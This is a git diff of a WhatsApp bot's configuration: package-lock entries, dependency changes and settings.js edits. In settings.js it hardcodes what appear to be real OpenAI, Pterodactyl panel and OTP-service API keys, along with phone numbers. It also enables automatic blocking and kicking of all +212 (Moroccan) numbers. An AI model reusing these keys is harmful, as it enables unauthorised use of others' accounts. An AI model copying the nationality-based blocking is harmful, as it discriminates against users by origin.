"is-typed-array": "^1.1.3", + "which-typed-array": "^1.1.2" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/uuid": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.0.tgz", + "integrity": "sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==" + }, + "node_modules/validator": { + "version": "13.11.0", + "resolved": "https://registry.npmjs.org/validator/-/validator-13.11.0.tgz", + "integrity": "sha512-Ii+sehpSfZy+At5nPdnyMhx78fEoPDkR2XW/zimHEL3MyGJQOCQ7WeP20jPYRz7ZCpcKLB21NxuXHF3bxjStBQ==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "engines": [ + "node >=0.6.0" + ], + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/verror/node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==" + }, + "node_modules/vizion": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/vizion/-/vizion-2.2.1.tgz", + "integrity": "sha512-sfAcO2yeSU0CSPFI/DmZp3FsFE9T+8913nv1xWBOyzODv13fwkn6Vl7HqxGpkr9F608M+8SuFId3s+BlZqfXww==", + "dependencies": { + "async": "^2.6.3", + "git-node-fs": "^1.0.0", + "ini": "^1.3.5", + "js-git": "^0.7.8" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/vizion/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "dependencies": { + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/webidl-conversions": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", + "engines": { + "node": ">=10.4" + } + }, + "node_modules/whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "dependencies": { + "iconv-lite": "0.4.24" + } + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, + "node_modules/whatwg-url": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "dependencies": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==" + }, + "node_modules/which-typed-array": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz", + "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==", + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "node_modules/ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xhr": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/xhr/-/xhr-2.6.0.tgz", + "integrity": "sha512-/eCGLb5rxjx5e3mF1A7s+pLlR6CGyqWN91fv1JgER5mVWg1MZmlhBvy9kjcsOdRk8RrIujotWyJamfyrp+WIcA==", + "dependencies": { + "global": "~4.4.0", + "is-function": "^1.0.1", + "parse-headers": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "node_modules/xml-name-validator": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==" + }, + "node_modules/xml-parse-from-string": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/xml-parse-from-string/-/xml-parse-from-string-1.0.1.tgz", + "integrity": "sha512-ErcKwJTF54uRzzNMXq2X5sMIy88zJvfN2DmdoQvy7PAFJ+tPRU6ydWuOKNMyfmOjdyBQTFREi60s0Y0SyI0G0g==" + }, + "node_modules/xml2js": { + "version": "0.4.23", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", + "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", + "dependencies": { + "sax": ">=0.6.0", + "xmlbuilder": "~11.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/xmlbuilder": { + "version": "11.0.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", + "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/yamljs": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/yamljs/-/yamljs-0.3.0.tgz", + "integrity": "sha512-C/FsVVhht4iPQYXOInoxUM/1ELSf9EsgKH34FofQOp6hwCPrW4vG4w5++TED3xRUo8gD7l0P1J1dLlDYzODsTQ==", + "dependencies": { + "argparse": "^1.0.7", + "glob": "^7.0.5" + }, + "bin": { + "json2yaml": "bin/json2yaml", + "yaml2json": "bin/yaml2json" + } + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/youtube-yts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/youtube-yts/-/youtube-yts-2.0.0.tgz", + "integrity": "sha512-g0m1VMqGy2AytawNR4YHDomqrPziU8SP/NyCCdIxmBkRMsdlLSQmhYlY0vW9weM2GsfMBPdYMQPBsAFpt+GU5g==", + "dependencies": { + "async.parallellimit": "~0.5.2", + "boolstring": "~1.0.2", + "cheerio": "^1.0.0-rc.10", + "dasu": "~0.4.3", + "human-time": "0.0.2", + "jsonpath-plus": "~5.0.2", + "minimist": "~1.2.5", + "node-fzf": "~0.5.1" + }, + "bin": { + "yt-search": "bin/cli.js", + "yt-search-audio": "bin/mpv_audio.sh", + "yt-search-video": "bin/mpv_video.sh" + } + }, + "node_modules/youtubedl-core": { + "version": "4.11.7", + "resolved": "https://registry.npmjs.org/youtubedl-core/-/youtubedl-core-4.11.7.tgz", + "integrity": "sha512-UVH0ofK9JFaxgnW41x+NZxkIVHk29AdQIMv9dZXvajrxn4rkwUGSs9oLoH9+3938j0lTL/Fqg5HCH1j3isbmsw==", + "dependencies": { + "m3u8stream": "^0.8.6", + "miniget": "^4.2.2", + "sax": "^1.1.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yt-search": { + "version": "2.10.4", + "resolved": "https://registry.npmjs.org/yt-search/-/yt-search-2.10.4.tgz", + "integrity": "sha512-cJeSdCxQYEV+gKxCeWbOcqgkHtyxLRF2Pt/57AJValzaf07JbJmRIoT9SR/XG2Ed6HIEEuD06WcgZS+6qRvajQ==", + "dependencies": { + "async.parallellimit": "~0.5.2", + "boolstring": "~1.0.2", + "cheerio": "^1.0.0-rc.10", + "dasu": "~0.4.3", + "human-time": "0.0.2", + "jsonpath-plus": "~5.0.2", + "minimist": "~1.2.5", + "node-fzf": "~0.5.1" + }, + "bin": { + "yt-search": "bin/cli.js", + "yt-search-audio": "bin/mpv_audio.sh", + "yt-search-video": "bin/mpv_video.sh" + } + }, + "node_modules/ytdl-core": { + "version": "4.11.5", + "resolved": "https://registry.npmjs.org/ytdl-core/-/ytdl-core-4.11.5.tgz", + "integrity": "sha512-27LwsW4n4nyNviRCO1hmr8Wr5J1wLLMawHCQvH8Fk0hiRqrxuIu028WzbJetiYH28K8XDbeinYW4/wcHQD1EXA==", + "dependencies": { + "m3u8stream": "^0.8.6", + "miniget": "^4.2.2", + "sax": "^1.1.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/zod": { + "version": "3.21.4", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.21.4.tgz", + "integrity": "sha512-m46AKbrzKVzOzs/DZgVnG5H55N1sv1M8qZU3A8RIKbs3mrACDNeIOeilDymVb2HdmP8uwshOCF4uJ8uM9rCqJw==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/package.json b/package.json index 284ba32d9..7d1e7182a 100644 --- a/package.json +++ b/package.json @@ -21,15 +21,20 @@ "author": "DGXeon", "license": "ISC", "dependencies": { - "@whiskeysockets/baileys": "^6.4.0", - "@adiwajshing/keyed-db": "^0.2.4", - "@bochilteam/scraper": "4.0.22-alpha.0", - "@saipulanuar/jadianime-ts": "^2.0.0", - "awesome-phonenumber": "^2.64.0", - "anime-wallpaper": "^1.0.2", + "@adiwajshing/keyed-db": "^0.2.4", + "@bochilteam/scraper": "4.0.22-alpha.0", + "@saipulanuar/jadianime-ts": "^2.0.0", + "@whiskeysockets/baileys": "^6.4.0", + "@whiskeysockets/baileys": "^6.5.0", + "@adiwajshing/keyed-db": "^0.2.4", + "@hapi/boom": "^10.0.1", + "awesome-phonenumber": "^5.9.0", + "anime-wallpaper": "^1.0.2", "api-dylux": "^1.4.4", "axios": "^0.24.0", "chalk": "^4.1.2", + "sharp": "^0.30.5", + "wa-sticker-formatter": "^4.4.4", "cheerio": "^1.0.0-rc.10", "child_process": "^1.0.2", "cookie": "^0.5.0", @@ -41,8 +46,8 @@ "fluent-ffmpeg": "^2.1.2", "fs": "0.0.1-security", "fs-extra": "^10.0.0", - "genshin-api": "^2.1.0", "g-i-s": "^2.1.6", + "genshin-api": "^2.1.0", "google-it": "^1.6.2", "google-tts-api": "^2.0.2", "got": "^11.8.3", @@ -82,21 +87,14 @@ "request": "^2.88.2", "rimraf": "^3.0.2", "scrape-primbon": "^1.1.0", + "similarity": "^1.2.1", "spinnies": "^0.5.1", "spotifydl-x": "^0.3.0", "syntax-error": "*", "util": "^0.12.4", "yargs": "^17.2.1", "youtube-yts": "^2.0.0", - "ytdl-core": "^4.11.4", - "youtubedl-core": "^4.11.4" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/DGXeon/CheemsBot-MD8.git" - }, - "bugs": { - "url": "https://github.com/DGXeon/CheemsBot-MD8/issues" - }, - "homepage": "https://github.com/DGXeon/CheemsBot-MD8/#readme" + "youtubedl-core": "^4.11.7", + "ytdl-core": "^4.11.5" + } } diff --git a/settings.js b/settings.js index fb13e7bb6..84ab4081f 100644 --- a/settings.js +++ b/settings.js @@ -2,15 +2,15 @@ const chalk = require("chalk") const fs = require("fs") //aumto presence update -global.autoTyping = true //auto tying in gc (true to on, false to off) +global.autoTyping = false //auto tying in gc (true to on, false to off) global.autoRecord = false //auto recording (true to on, false to off) -global.autoblockmorroco = false //auto block 212 (true to on, false to off) -global.autokickmorroco = false //auto kick 212 (true to on, false to off) -global.antispam = false //auto kick spammer (true to on, false to off) +global.autoblockmorroco = true //auto block 212 (true to on, false to off) +global.autokickmorroco = true //auto kick 212 (true to on, false to off) +global.antispam = false//auto kick spammer (true to on, false to off) //if api key expire, u can generate one from here: https://beta.openai.com/account/api-keys -global.keyopenai = "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" +global.keyopenai = "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" //documents variants global.doc1 = 'application/vnd.openxmlformats-officedocument.presentationml.presentation' @@ -22,25 +22,111 @@ global.doc6 = 'application/vnd.android.package-archive' //owmner v card global.owner = ['6285892928715'] //ur owner number -global.ownernomer = "6285892928715" //ur owner number2 +global.ownernomer = "6285702642230" //ur owner number2 global.ownername = "DANZ BOT OWNER" //ur owner name global.ytname = "YT: lom ada" //ur yt chanel name global.socialm = "GitHub: AhmadDaniWn" //ur github or insta name -global.location = "India, Mizoram, Aizawl" //ur location +global.location = "Jatim, Indonesia" //ur location + +//Server crete panel egg biasa +global.domain = 'https://kiipanel.kimzz-hosting.tech' // Isi Domain Lu jangan kasih tanda / di akhir link +global.apikey = 'ptla_2WhczNUMh60Ep0Jx7UC7WiFnGPUwyrqGoLcQifEvRQX' // Isi Apikey Plta Lu +global.capikey = 'ptlc_jLFm7Dd9HlPkTiTVBlNKTC2GW8EgEzzvPpJBRE7wTdv' // Isi Apikey Pltc Lu +//===========================// +//Server create panel egg pm2 +global.apikey2 = '-' // Isi Apikey Plta Lu +global.capikey2 = '-' // Isi Apikey Pltc Lu +global.domain2 = '-' // Isi Domain Lu +global.docker2 = "ghcr.io/cekilpedia/vip:sanzubycekil" //jangan di ubah + +global.eggsnya2 = '15' // id eggs yang dipakai +global.location2 = '1' // id location +//===========================// +global.domainotp = "https://claudeotp.com/api" +global.apikeyotp = "a395f97fe99f4fad0e790d10af518b9a" +global.eggsnya = '15' // id eggs yang dipakai +global.location3 = '1' // id location +global.tekspushkon = "" +global.tekspushkonv2 = "" +global.tekspushkonv3 = "" +global.tekspushkonv4 = "" +//===========================// + +global.rpg = { + emoticon(string) { + string = string.toLowerCase() + let emot = { + level: '๐Ÿ“Š', + limit: '๐ŸŽซ', + health: 'โค๏ธ', + exp: 'โœจ', + atm: '๐Ÿ’ณ', + money: '๐Ÿ’ฐ', + bank: '๐Ÿฆ', + potion: '๐Ÿฅค', + diamond: '๐Ÿ’Ž', + common: '๐Ÿ“ฆ', + uncommon: '๐Ÿ›๏ธ', + mythic: '๐ŸŽ', + legendary: '๐Ÿ—ƒ๏ธ', + superior: '๐Ÿ’ผ', + pet: '๐Ÿ”–', + trash: '๐Ÿ—‘', + armor: '๐Ÿฅผ', + sword: 'โš”๏ธ', + pickaxe: 'โ›๏ธ', + fishingrod: '๐ŸŽฃ', + wood: '๐Ÿชต', + rock: '๐Ÿชจ', + string: '๐Ÿ•ธ๏ธ', + horse: '๐Ÿด', + cat: '๐Ÿฑ', + dog: '๐Ÿถ', + fox: '๐ŸฆŠ', + robo: '๐Ÿค–', + petfood: '๐Ÿ–', + iron: 'โ›“๏ธ', + gold: '๐Ÿช™', + emerald: 'โ‡๏ธ', + upgrader: '๐Ÿงฐ', + bibitanggur: '๐ŸŒฑ', + bibitjeruk: '๐ŸŒฟ', + bibitapel: 'โ˜˜๏ธ', + bibitmangga: '๐Ÿ€', + bibitpisang: '๐ŸŒด', + anggur: '๐Ÿ‡', + jeruk: '๐ŸŠ', + apel: '๐ŸŽ', + mangga: '๐Ÿฅญ', + pisang: '๐ŸŒ', + botol: '๐Ÿพ', + kardus: '๐Ÿ“ฆ', + kaleng: '๐Ÿฎ', + plastik: '๐Ÿ“œ', + gelas: '๐Ÿง‹', + chip: 'โ™‹', + umpan: '๐Ÿชฑ', + skata: '๐Ÿงฉ' + } + let results = Object.keys(emot).map(v => [v, new RegExp(v, 'gi')]).filter(v => v[1].test(string)) + if (!results.length) return '' + else return emot[results[0][0]] + } +} //new -global.botname = "NANO BOTZ V6" +global.botname = "Sopo Botzโšก" global.ownernumber = '6285892928715' -global.ownername = 'Danzz Owner' +global.ownername = 'Sopo Owner' global.ownerNumber = ["6285892928715@s.whatsapp.net"] global.ownerweb = "" global.websitex = "" -global.wagc = "https://chat.whatsapp.com/JLPXgJKp0eo7EC8Yknvn7J" +global.wagc = "https://chat.whatsapp.com/HmTovMXPjeM0A13xiXqent" global.themeemoji = '๐Ÿช€' -global.wm = "Xeon Bot Inc." +global.wm = "SopoXbot Bot Inc." global.botscript = 'Dah gede nyari sc ๐Ÿ—ฟ๐Ÿ–•' //script link global.packname = "Sticker By" -global.author = "๐Ÿฆ„๋“œ๋ฆผ ๊ฐ€์ด Danzbot\n\n" +global.author = "| Danz X Sopo|\n\n" global.creator = "6285892928715@s.whatsapp.net" global.prefa = ['','!','.','#','&'] global.sessionName = 'session' @@ -61,7 +147,25 @@ global.flasmurf = 'https://www6.flamingtext.com/net-fu/proxy_form.cgi?&imageoutp //messages global.mess = { - success: 'Here you go!', +wait: "*_Tunggu sebentar ya Kakโ™ก._*", + success: "Sukses Kak`", + on: "Sudah Aktif", + off: "Sudah Off", + query: { + text: "Teks Nya Mana Kak?", + link: "Link Nya Mana Kak?", + }, + error: { + fitur: "Mohon Maaf Kak Fitur Eror Silahkan Chat Developer Bot Agar Bisa Segera Diperbaiki", + }, + only: { + group: "Maaf Kak Fitur Ini Hanya Bisa Digunakan Di Dalam Group", + private: "Maaf Kak Fitur Ini Hanya Bisa Digunakan Di Dalam Private Chat", + owner: "Maaf Kak Fitur Ini Hanya Bisa Digunakan Sama Owner Bot", + admin: "Maaf Kak Fitur Ini Hanya Bisa Digunakan Sama Owner Bot", + badmin: "Maaf Kak Kaya Nya Kakak Tidak Bisa Menggunakan Fitur Ini Di Karenakan Bot Bukan Admin Group", + premium: "Maaf Kamu Belum Jadi User Premium Untuk Menjadi User Premium Silahkan Beli Ke Owner Dengan Cara Ketik .owner", + } } let file = require.resolve(__filename)